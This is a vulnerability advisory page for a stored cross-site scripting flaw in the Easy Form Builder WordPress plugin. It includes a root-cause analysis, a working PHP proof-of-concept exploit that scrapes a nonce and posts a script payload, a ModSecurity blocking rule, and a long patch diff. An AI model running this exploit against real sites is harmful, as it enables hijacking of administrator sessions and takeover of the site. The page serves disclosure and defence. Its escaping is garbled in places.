{
“analysis”: “Atomic Edge analysis of CVE-2026-95810:nnThe Easy Form Builder by WhiteStudio plugin for WordPress, versions up to and including 4.3.0, contains an unauthenticated stored cross-site scripting vulnerability in the fun_emsFormBuilder_show_messages functionality. An attacker can inject arbitrary JavaScript into form submissions via the esign field value, which executes when an administrator views the messages page. The vulnerability is rated 7.2 (High) with CWE-79 and is exploitable without authentication because a wp_rest nonce is exposed to any visitor via the efb_var.nonce JavaScript variable on public form pages.nnRoot Cause: Atomic Edge research identifies the root cause in the REST endpoint /wp-json/Emsfb/v1/forms/message/add, handled by the fun_emsFormBuilder_show_messages function in includes/admin/class-Emsfb-addon.php. The esign field type expects a base64 data URI, but the handler stores the raw value without validating that it matches the expected format. An attacker can supply a plain text or HTML payload as the esign value, which bypasses sanitization because the code does not enforce the ‘value’ field’s type constraint for ‘r_matrix’ cross-type poisoning. The lack of output escaping when rendering messages in the admin dashboard (in the same file) allows the stored JavaScript to execute in the administrator’s browser.nnExploitation: An unauthenticated attacker first loads a public form page to extract the wp_rest nonce from the efb_var.nonce object. Using this nonce, the attacker sends a POST request to /wp-json/Emsfb/v1/forms/message/add with parameters including the form’s ID and a crafted esign field value, such as ‘value:alert(document.cookie)’. The payload is stored in the emsfb_msg_ database table. When an administrator views the form submissions in the WordPress admin, the script executes, enabling session hijacking, credential theft, or further compromise.nnPatch Analysis: The patch in version 4.3.1 introduces several fixes. It adds validation to the esign_image_efb function to ensure the stored value starts with ‘data:image/png;base64,’ and that the decoded content is a valid PNG. The fun_emsFormBuilder_show_messages handler now uses emsfb_json_normalize_efb to normalize input, which may prevent simple payload injection. The patch also enforces nonce checks and capability checks more strictly. These changes ensure that only properly formatted image data is accepted for esign fields and that any JavaScript payload is either rejected or rendered harmlessly.nnImpact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of an administrator’s session. This can lead to full site takeover via privilege escalation, creation of new admin accounts, installation of malicious plugins, or theft of sensitive data. The vulnerability is particularly dangerous because it requires no authentication and can be triggered by any visitor to the site, making it a high-priority target for automated scanners and attackers.”,
poc_php”: “// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-95810 – Easy Form Builder by WhiteStudio <= 4.3.0 – Unauthenticated Stored Cross-Site Scripting via fun_emsFormBuilder_show_messagesn<?phpnn$target_url = 'http://example.com'; // Change to target WordPress sitenn// Step 1: Fetch a public form page to extract the nonce and a form IDn$form_page_url = $target_url . '/contact/'; // Assume a public form exists at /contact/n$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $form_page_url);ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);n$response = curl_exec($ch);n$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);ncurl_close($ch);nnif ($http_code != 200) {n die("Failed to load form page. HTTP code: $http_code\n");n}nn// Extract nonce from JavaScript variable efb_var.noncenif (preg_match('/efb_var\s*=\s*{[^}]*"nonce"\s*:\s*"([^"]+)"/', $response, $matches)) {n $nonce = $matches[1];n} else {n die("Could not find nonce\n");n}nn// Extract a form ID from the page (look for data-form-id or similar)nif (preg_match('/data-form-id="(\d+)"/', $response, $matches)) {n $form_id = $matches[1];n} elseif (preg_match('/"form_id"\s*:\s*"?(\d+)"?/', $response, $matches)) {n $form_id = $matches[1];n} else {n die("Could not find form ID\n");n}nnecho "Extracted nonce: $nonce\n";necho "Extracted form ID: $form_id\n";nn// Step 2: Craft and send the exploit payloadn$payload = 'alert(“XSS”);’;n$message_data = [n ‘form_id’ => $form_id,n ‘fields’ => [n [n ‘id_’ => ‘esign_field_1’, // Assume a field with id_ ‘esign_field_1’ existsn ‘type’ => ‘esign’,n ‘value’ => $payloadn ]n ]n];nn$post_data = json_encode($message_data);nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $target_url . ‘/wp-json/Emsfb/v1/forms/message/add’);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);ncurl_setopt($ch, CURLOPT_HTTPHEADER, [n ‘Content-Type: application/json’,n ‘X-WP-Nonce: ‘ . $noncen]);ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);n$response = curl_exec($ch);n$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);ncurl_close($ch);nnif ($http_code == 200) {n echo “Payload sent successfully. Check admin messages page for XSS execution.\n”;n} else {n echo “Failed to send payload. HTTP code: $http_code\nResponse: $response\n”;n}n”,
modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-95810nSecRule REQUEST_URI “@beginsWith /wp-json/Emsfb/v1/forms/message/add” \n “id:20269581,phase:2,deny,status:403,chain,msg:’CVE-2026-95810 Easy Form Builder unauthenticated stored XSS via esign field’,severity:’CRITICAL’,tag:’CVE-2026-95810′”n SecRule ARGS_POST:fields “@rx (?:<script|javascript:|onw+s*=)" \n "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"n"
}

CVE-2026-95810: Easy Form Builder by WhiteStudio <= 4.3.0 Unauthenticated Stored Cross-Site Scripting via fun_emsFormBuilder_show_messages PoC, Patch Analysis & Rule
CVE-2026-95810
easy-form-builder
4.3.0
4.3.1
Free WordPress WAF
Protect your site at the edge
Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.
Analysis Overview
Differential between vulnerable and patched code
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/easy-form-builder/emsfb.php
+++ b/easy-form-builder/emsfb.php
@@ -3,13 +3,15 @@
* Plugin Name: Easy Form Builder
* Plugin URI: https://whitestudio.team
* Description: Create multi-step WordPress forms with drag and drop, confirmation codes, notification emails, and free custom email notification templates with a built-in visual editor. Build professional contact, survey, payment, login, and registration forms without coding.
- * Version: 4.3.0
+ * Version: 4.3.1
* Author: WhiteStudio
* Author URI: https://whitestudio.team
* Text Domain: easy-form-builder
* License: GPL v2 or later
* License URI: https://www.gnu.org/licenses/gpl-2.0.html
* Domain Path: /languages
+ * Requires at least: 5.7
+ * Requires PHP: 7.4
*/
if (!defined('ABSPATH')) {
@@ -24,12 +26,12 @@
define("EMSFB_PLUGIN_DIRECTORY", plugin_dir_path(__FILE__));
}
if (!defined("EMSFB_PLUGIN_VERSION")) {
- define("EMSFB_PLUGIN_VERSION", "4.3.0");
+ define("EMSFB_PLUGIN_VERSION", "4.3.1");
}
if (!defined("EMSFB_DB_VERSION")) {
// 1.2 adds the emsfb_stts_ indexes (sid, lookup, date). Bumping this is what
// triggers Install::upgrade_schema() on sites that already have the tables.
- define("EMSFB_DB_VERSION", 1.2);
+ define("EMSFB_DB_VERSION", 1.3);
}
if (!defined("EFB_DEBUG")) {
@@ -366,6 +368,19 @@
}
}
+if (!function_exists('emsfb_free_element_types_efb')) {
+ /**
+ * Field types that are free on every plan although they were Pro before
+ * 4.3.1 (the Free plan has 20 fields). Their render and their scripts must
+ * not depend on the plan. Keep in step with fields_efb in val-efb.js.
+ *
+ * @return string[]
+ */
+ function emsfb_free_element_types_efb() {
+ return array('trmCheckbox', 'conturyList', 'country', 'rating', 'heading');
+ }
+}
+
if (!function_exists('emsfb_is_email_sending_enabled_efb')) {
/**
* Whether "This site can send emails" is on. Gates every notification email.
--- a/easy-form-builder/includes/admin/class-Emsfb-addon.php
+++ b/easy-form-builder/includes/admin/class-Emsfb-addon.php
@@ -290,7 +290,10 @@
'form_email' => $this->email,
'form_created_by' => $this->userId,
'form_type'=>$this->formtype,
- )); $this->id_ = $this->db->insert_id;
+ ));
+ // A refused insert keeps whatever id an earlier insert in this request
+ // left behind; only a real insert may report an id.
+ $this->id_ = (false === $r) ? 0 : $this->db->insert_id;
}
public function check_temp_is_bootstrap (){
--- a/easy-form-builder/includes/admin/class-Emsfb-admin.php
+++ b/easy-form-builder/includes/admin/class-Emsfb-admin.php
@@ -1,6 +1,10 @@
<?php
namespace Emsfb;
+if ( ! defined( 'ABSPATH' ) ) {
+ exit;
+}
+
class Admin {
public $ip;
@@ -19,8 +23,15 @@
if (!function_exists('wp_get_current_user')) {
include(ABSPATH . "wp-includes/pluggable.php");
}
- if (is_admin() and is_super_admin()) {
- $this->add_cap();
+ if (is_admin()) {
+ // A network-activated plugin loads before WordPress defines its cookie
+ // constants, so is_super_admin() here was a fatal error (AUTH_COOKIE) on
+ // every multisite admin request. Grant the capabilities once the user exists.
+ if (did_action('init')) {
+ $this->maybe_add_cap_efb();
+ } else {
+ add_action('init', [$this, 'maybe_add_cap_efb'], 1);
+ }
}
add_action('admin_enqueue_scripts', [$this, 'admin_assets']);
add_action('admin_menu', [$this, 'admin_menu']);
@@ -33,6 +44,7 @@
add_action('wp_ajax_remove_message_id_Emsfb', [$this, 'delete_message_id_public']);
add_action('wp_ajax_get_form_id_Emsfb', [$this, 'get_form_id_Emsfb']);
add_action('wp_ajax_get_messages_id_Emsfb', [$this, 'get_messages_id_Emsfb']);
+ add_action('wp_ajax_efb_esign_image', [$this, 'esign_image_efb']);
add_action('wp_ajax_get_all_response_id_Emsfb', [$this, 'get_all_response_id_Emsfb']);
add_action('wp_ajax_update_form_Emsfb', [$this, 'update_form_id_Emsfb']);
add_action('wp_ajax_update_message_state_Emsfb', [$this, 'update_message_state_Emsfb']);
@@ -44,6 +56,7 @@
add_action('wp_ajax_efb_save_onboarding_email', [$this, 'efb_save_onboarding_email']);
add_action('wp_ajax_efb_complete_onboarding', [$this, 'efb_complete_onboarding']);
add_action('wp_ajax_efb_dismiss_onboarding', [$this, 'efb_dismiss_onboarding']);
+ add_action('wp_ajax_efb_confirm_email_sending', [$this, 'efb_confirm_email_sending']);
add_action('wp_ajax_add_addons_Emsfb', [$this, 'add_addons_Emsfb']);
add_action('wp_ajax_remove_addons_Emsfb', [$this, 'remove_addons_Emsfb']);
add_action('wp_ajax_update_file_Emsfb', array( $this,'file_upload_public'));
@@ -79,16 +92,32 @@
);
}
+ public function maybe_add_cap_efb() {
+ // On Multisite the Administrator role is stored per site. Waiting for a
+ // super admin left every sub-site administrator with "Sorry, you are not
+ // allowed to access this page" on all Easy Form Builder screens until a
+ // super admin happened to open that site's dashboard, so a site's own
+ // administrator may grant it too.
+ if (is_super_admin() || (is_multisite() && current_user_can('manage_options'))) {
+ $this->add_cap();
+ }
+ }
+
public function add_cap() {
$role = get_role('administrator');
if (!$role) {
return;
}
- foreach (self::get_administrator_capabilities_efb() as $capability) {
- $role->add_cap($capability);
- }
+ $capabilities = self::get_administrator_capabilities_efb();
if(is_dir(EMSFB_PLUGIN_DIRECTORY."/vendor/smssended")) {
- $role->add_cap('Emsfb_sms_efb');
+ $capabilities[] = 'Emsfb_sms_efb';
+ }
+ // WP_Role::add_cap() rewrites the roles option on every call, and this
+ // runs on every admin request: only write what is actually missing.
+ foreach ($capabilities as $capability) {
+ if (!$role->has_cap($capability)) {
+ $role->add_cap($capability);
+ }
}
}
@@ -100,9 +129,12 @@
wp_register_style('Emsfb-admin', EMSFB_PLUGIN_URL . 'includes/admin/assets/css/admin-efb.css', true,EMSFB_PLUGIN_VERSION );
wp_enqueue_style('Emsfb-admin');
+ // The plugin's own screens use Roboto, in every language. The
+ // front end has no such rule: a form takes the theme's font.
+ wp_add_inline_style('Emsfb-admin', ".efb {font-family: 'Roboto', sans-serif !important;}");
if (is_rtl()) {
- wp_register_style('Emsfb-css-rtl', EMSFB_PLUGIN_URL . 'includes/admin/assets/css/admin-rtl-efb.css', true,EMSFB_PLUGIN_VERSION );
+ wp_register_style('Emsfb-css-rtl', EMSFB_PLUGIN_URL . 'includes/admin/assets/css/admin-rtl-efb.css', true,EMSFB_PLUGIN_VERSION . '.' . (int) @filemtime(EMSFB_PLUGIN_DIRECTORY . 'includes/admin/assets/css/admin-rtl-efb.css') );
wp_enqueue_style('Emsfb-css-rtl');
}
wp_register_style('Emsfb-style-css', EMSFB_PLUGIN_URL . 'includes/admin/assets/css/style-efb.css',true,EMSFB_PLUGIN_VERSION);
@@ -116,7 +148,7 @@
wp_enqueue_style('efb-steps-progress-css');
wp_register_style('Emsfb-responsive-css', EMSFB_PLUGIN_URL . 'includes/admin/assets/css/min-1200-style.css',true,EMSFB_PLUGIN_VERSION);
wp_enqueue_style('Emsfb-responsive-css');
- wp_register_style('Emsfb-bootstrap', EMSFB_PLUGIN_URL . 'includes/admin/assets/css/bootstrap.min-efb.css',true,EMSFB_PLUGIN_VERSION);
+ wp_register_style('Emsfb-bootstrap', EMSFB_PLUGIN_URL . 'includes/admin/assets/css/bootstrap.min-efb.css',true, EMSFB_PLUGIN_VERSION . '.' . (int) @filemtime(EMSFB_PLUGIN_DIRECTORY . 'includes/admin/assets/css/bootstrap.min-efb.css'));
wp_enqueue_style('Emsfb-bootstrap');
wp_register_style('Emsfb-bootstrap-icons-css', EMSFB_PLUGIN_URL . 'includes/admin/assets/css/bootstrap-icons-efb.css',true,EMSFB_PLUGIN_VERSION);
wp_enqueue_style('Emsfb-bootstrap-icons-css');
@@ -139,9 +171,17 @@
// The email server test draws the same panel in two places - the
// settings modal and the setup wizard - so its look and its markup
// both live in one pair of files, loaded wherever either can run.
- wp_register_style('efb-email-test', EMSFB_PLUGIN_URL . 'includes/admin/assets/css/email-test-efb.css', array('efb-modal-system'), EMSFB_PLUGIN_VERSION);
+ // Versioned by file time, like core-efb.js: the view model in
+ // list_form-efb.js (file-time versioned) and this renderer must
+ // always be from the same build, or a cached renderer silently
+ // drops the blocks a newer view model adds.
+ $email_test_asset_version = function ($relative_path) {
+ $path = EMSFB_PLUGIN_DIRECTORY . ltrim($relative_path, '/');
+ return is_readable($path) ? (string) filemtime($path) : EMSFB_PLUGIN_VERSION;
+ };
+ wp_register_style('efb-email-test', EMSFB_PLUGIN_URL . 'includes/admin/assets/css/email-test-efb.css', array('efb-modal-system'), $email_test_asset_version('includes/admin/assets/css/email-test-efb.css'));
wp_enqueue_style('efb-email-test');
- wp_enqueue_script('efb-email-test-ui', EMSFB_PLUGIN_URL . 'includes/admin/assets/js/email-test-ui-efb.js', array(), EMSFB_PLUGIN_VERSION, true);
+ wp_enqueue_script('efb-email-test-ui', EMSFB_PLUGIN_URL . 'includes/admin/assets/js/email-test-ui-efb.js', array(), $email_test_asset_version('includes/admin/assets/js/email-test-ui-efb.js'), true);
$this->check_and_enqueue_font_roboto_Emsfb();
wp_enqueue_style('wp-pointer');
wp_enqueue_script('wp-pointer');
@@ -258,12 +298,12 @@
}
public function update_form_id_Emsfb() {
$efbFunction = get_efbFunction();
- $text = ["sms_noti","msg_adons","error403","invalidRequire","nAllowedUseHtml","updated","upDMsg" ,"newMessageReceived","trackNo","url","newResponse","WeRecivedUrM"];
+ $text = ["sms_noti","msg_adons","error403","invalidRequire","nAllowedUseHtml","updated","upDMsg" ,"newMessageReceived","trackNo","url","newResponse","WeRecivedUrM","somethingWentWrongPleaseRefresh"];
$lang= $efbFunction->text_efb($text);
$currrent_user_can = $efbFunction->user_permission_efb_admin_dashboard();
$post_value = isset($_POST['value']) ? wp_unslash( $_POST['value'] ) : '';
- $id = ( int ) sanitize_text_field( wp_unslash( $_POST['id']) );
- $name = sanitize_text_field( wp_unslash( $_POST['name']) );
+ $id = isset($_POST['id']) ? ( int ) sanitize_text_field( wp_unslash( $_POST['id']) ) : 0;
+ $name = isset($_POST['name']) ? sanitize_text_field( wp_unslash( $_POST['name']) ) : '';
if (!check_ajax_referer('wp_rest', 'nonce', false) || !$currrent_user_can) {
$m = $lang['error403'];
$response = ['success' => false, 'm' => $m];
@@ -279,7 +319,7 @@
$response = ['success' => false, "m" => $m];
wp_send_json_success($response, 200);
}
- $valp =str_replace('\', '', $post_value);
+ $valp =emsfb_json_normalize_efb($post_value);
$valp = json_decode($valp,true);
$sms_msg_new_noti="";
$sms_msg_responsed_noti="";
@@ -330,6 +370,20 @@
$table_name = $this->db->prefix . "emsfb_form";
$r = $this->db->update($table_name, ['form_structer' => $value_, 'form_name' => $name ,'form_type'=>$form_type ], ['form_id' => $id]);
+ // The database refused the change (a value the column cannot hold, a
+ // lost connection), or the form no longer exists. This used to answer
+ // "updated" anyway, and the builder then deleted the local draft: the
+ // owner was told "saved" and lost the work. 0 rows is fine when the
+ // row exists - MySQL reports 0 when nothing changed.
+ $form_exists = (false !== $r && 0 === (int) $r)
+ ? (int) $this->db->get_var($this->db->prepare("SELECT COUNT(*) FROM `{$table_name}` WHERE form_id = %d", $id)) > 0
+ : (false !== $r);
+ if (false === $r || !$form_exists) {
+ $m = isset($lang['somethingWentWrongPleaseRefresh']) ? $lang['somethingWentWrongPleaseRefresh'] : '';
+ $response = ['success' => false, 'm' => $m, 'r' => 'not_saved'];
+ wp_send_json_success($response, 200);
+ }
+
if ($r !== false) {
$cache_data = (object) array(
'form_structer' => $value_,
@@ -603,7 +657,7 @@
* host that differs from those candidates is exactly how a licensed
* site gets answered "plan_required", so both spellings are logged.
*/
- $server_name = preg_replace('/^www./', '', strtolower($_server_name));
+ $server_name = get_efbFunction()->addon_request_host_efb($_server_name);
$license_hosts = get_efbFunction()->license_domain_candidates_efb();
delete_option($name_space);
$vwp = get_bloginfo('version');
@@ -1243,13 +1297,13 @@
wp_send_json_success($response, 200);
die("secure!");
}
- if (empty($_POST['id']) && $this->isHTML(json_encode($_POST['value']),JSON_UNESCAPED_UNICODE)) {
+ if (empty($_POST['id']) && $this->isHTML(json_encode($_POST['value'] ?? ''),JSON_UNESCAPED_UNICODE)) {
$m = $lang['somethingWentWrongPleaseRefresh'];
$response = ['success' => false, "m" => esc_html__("Something went wrong, please refresh the page." ,'easy-form-builder')];
wp_send_json_success($response, 200);
die();
}
- $id = ( int ) sanitize_text_field(wp_unslash( $_POST['id']));
+ $id = isset($_POST['id']) ? ( int ) sanitize_text_field(wp_unslash( $_POST['id'])) : 0;
if(empty($this->db)){
global $wpdb;
$this->db = $wpdb;
@@ -1277,7 +1331,7 @@
wp_send_json_success($response, 200);
die();
}
- $id = ( int ) sanitize_text_field(wp_unslash( $_POST['id']));
+ $id = isset($_POST['id']) ? ( int ) sanitize_text_field(wp_unslash( $_POST['id'])) : 0;
if(empty($this->db)){
global $wpdb;
$this->db = $wpdb;
@@ -1301,7 +1355,7 @@
die();
}
- $decoded_form = json_decode( stripslashes( $value ) );
+ $decoded_form = emsfb_json_decode_efb($value);
if ( $decoded_form === null ) {
$decoded_form = json_decode( $value );
@@ -1385,12 +1439,67 @@
$response = ['success' => true, 'ajax_value' => $value, 'id' => $id,'nonce_msg'=> $code];
wp_send_json_success($response, 200);
}
+ /**
+ * The image of a Signature answer, for the link in the CSV export.
+ *
+ * Logged-in users who may read responses only (the same check as the
+ * response list; wp_ajax_ alone, never nopriv). A read-only GET with no
+ * nonce on purpose: the link sits in a spreadsheet and is opened days
+ * later, and it changes nothing. The signature itself stays where it was
+ * stored, inside the entry, so it is never a public file.
+ */
+ public function esign_image_efb() {
+ $efbFunction = get_efbFunction();
+ if (!is_object($efbFunction) || !$efbFunction->user_permission_efb_admin_dashboard()) {
+ status_header(403);
+ exit;
+ }
+ $msg_id = isset($_GET['msg']) ? absint(wp_unslash($_GET['msg'])) : 0;
+ $field = isset($_GET['field']) && is_string($_GET['field']) ? sanitize_text_field(wp_unslash($_GET['field'])) : '';
+ if ($msg_id < 1 || $field === '') {
+ status_header(400);
+ exit;
+ }
+ global $wpdb;
+ $table = $wpdb->prefix . 'emsfb_msg_';
+ $row = $wpdb->get_row($wpdb->prepare("SELECT content, track FROM `$table` WHERE msg_id = %d LIMIT 1", $msg_id));
+ $rows = ($row && is_string($row->content)) ? emsfb_json_decode_efb($row->content, true) : null;
+ $bin = '';
+ if (is_array($rows)) {
+ foreach ($rows as $item) {
+ if (!is_array($item) || !isset($item['id_'], $item['type'], $item['value']) || (string) $item['id_'] !== $field || $item['type'] !== 'esign' || !is_string($item['value'])) continue;
+ $prefix = 'data:image/png;base64,';
+ if (strpos($item['value'], $prefix) !== 0) break;
+ $b64 = substr($item['value'], strlen($prefix));
+ $decoded = preg_match('/^[A-Za-z0-9+/]+={0,2}$/', $b64) === 1 ? base64_decode($b64, true) : false;
+ if (is_string($decoded) && strncmp($decoded, "x89PNGrnx1an", 8) === 0) $bin = $decoded;
+ break;
+ }
+ }
+ if ($bin === '') {
+ status_header(404);
+ exit;
+ }
+ $track = $row && is_string($row->track) ? preg_replace('/[^A-Za-z0-9_-]/', '', $row->track) : '';
+ nocache_headers();
+ header('Content-Type: image/png');
+ header('X-Content-Type-Options: nosniff');
+ header("Content-Security-Policy: default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'");
+ header('Content-Disposition: inline; filename="signature-' . ($track !== '' ? $track : $msg_id) . '.png"');
+ header('Content-Length: ' . strlen($bin));
+ echo $bin; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- verified PNG bytes.
+ exit;
+ }
+
public function get_all_response_id_Emsfb() {
$efbFunction = get_efbFunction();
$text = ["spprt","error403","somethingWentWrongPleaseRefresh" ,"guest"];
$lang= $efbFunction->text_efb($text);
$currrent_user_can = $efbFunction->user_permission_efb_admin_dashboard();
- if (!check_ajax_referer('wp_rest', 'nonce', false) || !$currrent_user_can) {
+ if (!check_ajax_referer('wp_rest', 'nonce', false)) {
+ wp_send_json_error(array('code' => 'efb_nonce_expired'), 403);
+ }
+ if (!$currrent_user_can) {
$m = $lang['error403'];
$response = ['success' => false, 'm' => $m];
wp_send_json_success($response, 200);
@@ -1458,12 +1567,19 @@
$efbFunction = get_efbFunction();
$lang= $efbFunction->text_efb($text);
$currrent_user_can = $efbFunction->user_permission_efb_admin_dashboard();
- if (!check_ajax_referer('wp_rest', 'nonce', false) || !$currrent_user_can) {
+ if (!check_ajax_referer('wp_rest', 'nonce', false)) {
+ wp_send_json_error(array('code' => 'efb_nonce_expired'), 403);
+ }
+ if (!$currrent_user_can) {
$response = ['success' => false, 'm' => $lang['error403']];
wp_send_json_success($response, 200);
die("secure!");
}
$post_message = isset($_POST['message']) ? sanitize_text_field( wp_unslash( $_POST['message'] ) ) : '';
+ $operation_data=wp_unslash($_POST);
+ $replay=EmsfbForm_Runtime::replay('admin_reply',0,$operation_data);
+ if (is_wp_error($replay)) wp_send_json_error(array('code'=>$replay->get_error_code(),'m'=>$replay->get_error_message()),$replay->get_error_data()['status']);
+ if ($replay instanceof WP_REST_Response) wp_send_json($replay->get_data(),$replay->get_status());
$post_id = isset($_POST['id']) ? sanitize_text_field( wp_unslash( $_POST['id'] ) ) : '';
if (empty($post_message) || empty($post_id)) {
$response = ['success' => false, "m" => $lang['somethingWentWrongPleaseRefresh']];
@@ -1476,7 +1592,7 @@
$id = ( int ) $post_id ;
$id = preg_replace('/[,]+/','',$id);
- $m = str_replace("\","",$post_message);
+ $m = emsfb_json_normalize_efb($post_message);
$message =json_decode($m);
$valobj=[];
$stated=1;
@@ -1540,6 +1656,10 @@
}
$table_name = $this->db->prefix . "emsfb_rsp_";
$ip = $this->ip;
+ $guard=EmsfbForm_Runtime::begin('admin_reply',0,$operation_data);
+ if (is_wp_error($guard)) wp_send_json_error(array('code'=>$guard->get_error_code(),'m'=>$guard->get_error_message()),$guard->get_error_data()['status']);
+ if ($guard instanceof WP_REST_Response) wp_send_json($guard->get_data(),$guard->get_status());
+ $reply_key=$guard;
$reply_inserted = $this->db->insert(
$table_name,
[
@@ -1552,8 +1672,12 @@
]
);
if ($reply_inserted === false) {
+ EmsfbForm_Runtime::abort($reply_key);
+ EmsfbRequest_Health::record('admin_reply',500,'server','storage_failed');
wp_send_json_success(['success' => false, 'm' => $lang['somethingWentWrongPleaseRefresh']], 200);
}
+ EmsfbRequest_Health::mark_saved();
+ EmsfbForm_Runtime::finish($reply_key,array('success'=>true,'m'=>$lang['messageSent'],'by'=>wp_get_current_user()->display_name));
if (!empty($response_attachment_urls)) {
EmsfbUpload_Guard::release_pending_uploads($response_attachment_urls);
EmsfbUpload_Guard::release_response_attachment_reservations($response_attachment_urls);
@@ -1599,10 +1723,7 @@
wp_send_json_success($response, 200);
die();
}
- $m = json_decode($post_message, true);
- if ($m === null && json_last_error() !== JSON_ERROR_NONE) {
- $m = json_decode(stripslashes($post_message), true);
- }
+ $m = emsfb_json_decode_efb($post_message, true);
if(empty($this->db)){
global $wpdb;
$this->db = $wpdb;
@@ -1618,6 +1739,17 @@
}
$active_code_is_valid = false;
$active_code_was_removed = false;
+ /* "NotFoundEl" is what the settings screen reports for a field it could
+ * not read. Stored as a key it silently replaced a working Stripe or
+ * PayPal secret (the payment then failed with HTTP 401), so keep the
+ * saved value for any key field that arrives as that marker. */
+ if (is_array($m)) {
+ foreach (array('stripeSKey', 'stripePKey', 'paypalSKey', 'paypalPKey', 'secretKey', 'siteKey', 'apiKeyMap', 'activeCode') as $secret_key_efb) {
+ if (isset($m[$secret_key_efb]) && $m[$secret_key_efb] === 'NotFoundEl') {
+ $m[$secret_key_efb] = (is_object($ac) && isset($ac->$secret_key_efb) && $ac->$secret_key_efb !== 'NotFoundEl') ? $ac->$secret_key_efb : '';
+ }
+ }
+ }
foreach ($m as $key => $value) {
if (in_array($key ,['emailSupporter','femail'])) {
$value = sanitize_text_field($value);
@@ -1703,7 +1835,10 @@
$v = preg_replace('/behaviors*:/i', '', $v);
$v = preg_replace('/<s*/?(iframe|object|embed|form|input|textarea|button|select|svg|path|math|base|link|applet)[^>]*>/i', '', $v);
$v = $efbFunction->sanitize_full_html_efb($v);
- $v = str_replace('"', "'", $v);
+ // Store the template without double quotes, as 4.3.0 did: older add-ons and
+ // older cores (after a rollback) read the raw settings JSON by stripping every
+ // backslash, which breaks on ". Attribute values keep their apostrophes.
+ $v = Emsfb::normalize_email_template_quotes_efb($v);
if ($efbdata_comment) {
$v .= "n" . $efbdata_comment;
@@ -1725,18 +1860,37 @@
? EmsfbEmail_Monitor::is_email_stats_enabled()
: true;
}else if($key == 'smtp'){
- if(isset($value) && in_array($value,[1,true,'true','1']) ){
-
- $check = get_option('emsfb_email_status',false);
- if($check==false || $check==null){
- update_option('emsfb_email_status', $this->build_email_ready_status_efb());
- }else if(!is_array($check) || !isset($check['status']) || !in_array($check['status'], ['ok_set_smtp', 'ok'], true)){
-
- update_option('emsfb_email_status', $this->build_email_ready_status_efb());
+ // Turning the switch on by hand is the owner's confirmation:
+ // record it as theirs, dated, unless a check already proved
+ // sending works (that record is better evidence than a click).
+ // Only a real off -> on change is one: saving another setting
+ // with the switch already on confirms nothing, and must not
+ // re-date an old confirmation over a newer failed probe.
+ $was_on = function_exists('emsfb_is_email_sending_enabled_efb') && emsfb_is_email_sending_enabled_efb($ac);
+ if(isset($value) && in_array($value,[1,true,'true','1']) && !$was_on){
+ // Decided on the record the state rests on (the last
+ // verdict when the one on file only started or broke). A
+ // passing measured check or an earlier owner confirmation
+ // stays; anything else - including the automated probe's
+ // pass, which is not the owner's - gets the owner's record.
+ $owner = class_exists('EmsfbEmail_Monitor') ? EmsfbEmail_Monitor::owner_status_record() : get_option('emsfb_email_status', []);
+ $keeps = is_array($owner) && isset($owner['status']) && 'ok_set_smtp' === $owner['status']
+ && class_exists('EmsfbEmail_Monitor') && EmsfbEmail_Monitor::is_owner_verdict_record($owner);
+ if (!$keeps) {
+ update_option('emsfb_email_status', $this->build_email_ready_status_efb(true));
}
-
}
+ }else if($key == 'text' && is_array($value)){
+ // Localization tab: phrase key => custom text. sanitize_text_field()
+ // on the whole array stored "", so no custom text was ever kept.
+ // Keys are camelCase phrase ids, so not sanitize_key().
+ $m[$key] = array();
+ foreach ($value as $text_key => $text_value) {
+ $text_key = preg_replace('/[^A-Za-z0-9_]/', '', (string) $text_key);
+ if ($text_key === '' || !is_scalar($text_value)) continue;
+ $m[$key][$text_key] = sanitize_text_field((string) $text_value);
+ }
}else{
$m[$key] = sanitize_text_field($value);
}
@@ -1848,7 +2002,7 @@
foreach ($value as $v) {
if (strpos($v->content, 'url') !== false) {
$jsn = $v->content;
- $jsn = str_replace('\', '', $jsn);
+ $jsn = emsfb_json_normalize_efb($jsn);
$json = json_decode($jsn);
foreach ($json as $keyR => $row) {
foreach ($row as $key => $val) {
@@ -1970,10 +2124,54 @@
update_option('emsfb_onboarding_pending', 0, false);
update_option('emsfb_onboarding_dismissed_at', current_time('mysql'), false);
$dismissed = true;
+ // Activation held the automated probe back so it would not spend
+ // the free daily check before the owner's click. The owner chose
+ // not to check: run it now, so the builder can say what it found.
+ if (class_exists('EmsfbEmail_Monitor')) {
+ EmsfbEmail_Monitor::schedule_probe_after_skip();
+ }
}
wp_send_json_success(array('dismissed' => $dismissed));
}
+ /**
+ * The owner answered "my host can send email" in the form builder.
+ *
+ * That is the "This site can send emails" switch turned on by the person
+ * who owns the hosting, so it goes through the same setting - stored as a
+ * real boolean, never the number 1 that marks a pre-4.1.2 site - and
+ * leaves a dated record of its own kind. No measurement is claimed: the
+ * record says who answered and when, so the builder, the wizard and the
+ * admin notice can tell it from a check that was actually run.
+ *
+ * Only an administrator may do this: a form editor with the Emsfb
+ * capability can build forms, but switching every notification of the
+ * site on is not theirs to decide.
+ */
+ public function efb_confirm_email_sending() {
+ $efbFunction = get_efbFunction();
+ if (!check_ajax_referer('wp_rest', 'nonce', false) || !current_user_can('manage_options')) {
+ wp_send_json_error(array('message' => esc_html__('You do not have permission to update these settings.', 'easy-form-builder')), 403);
+ }
+
+ $ac = get_setting_Emsfb('decoded');
+ if (!is_object($ac)) {
+ $ac = new stdClass();
+ }
+ $ac->smtp = true;
+ $email = isset($_POST['email']) ? sanitize_email(wp_unslash($_POST['email'])) : '';
+ if (is_email($email)) {
+ $ac->emailSupporter = $email;
+ }
+ $efbFunction->set_setting_Emsfb($ac, is_email($email) ? $email : '');
+ update_option('emsfb_email_status', $this->build_email_ready_status_efb(true));
+
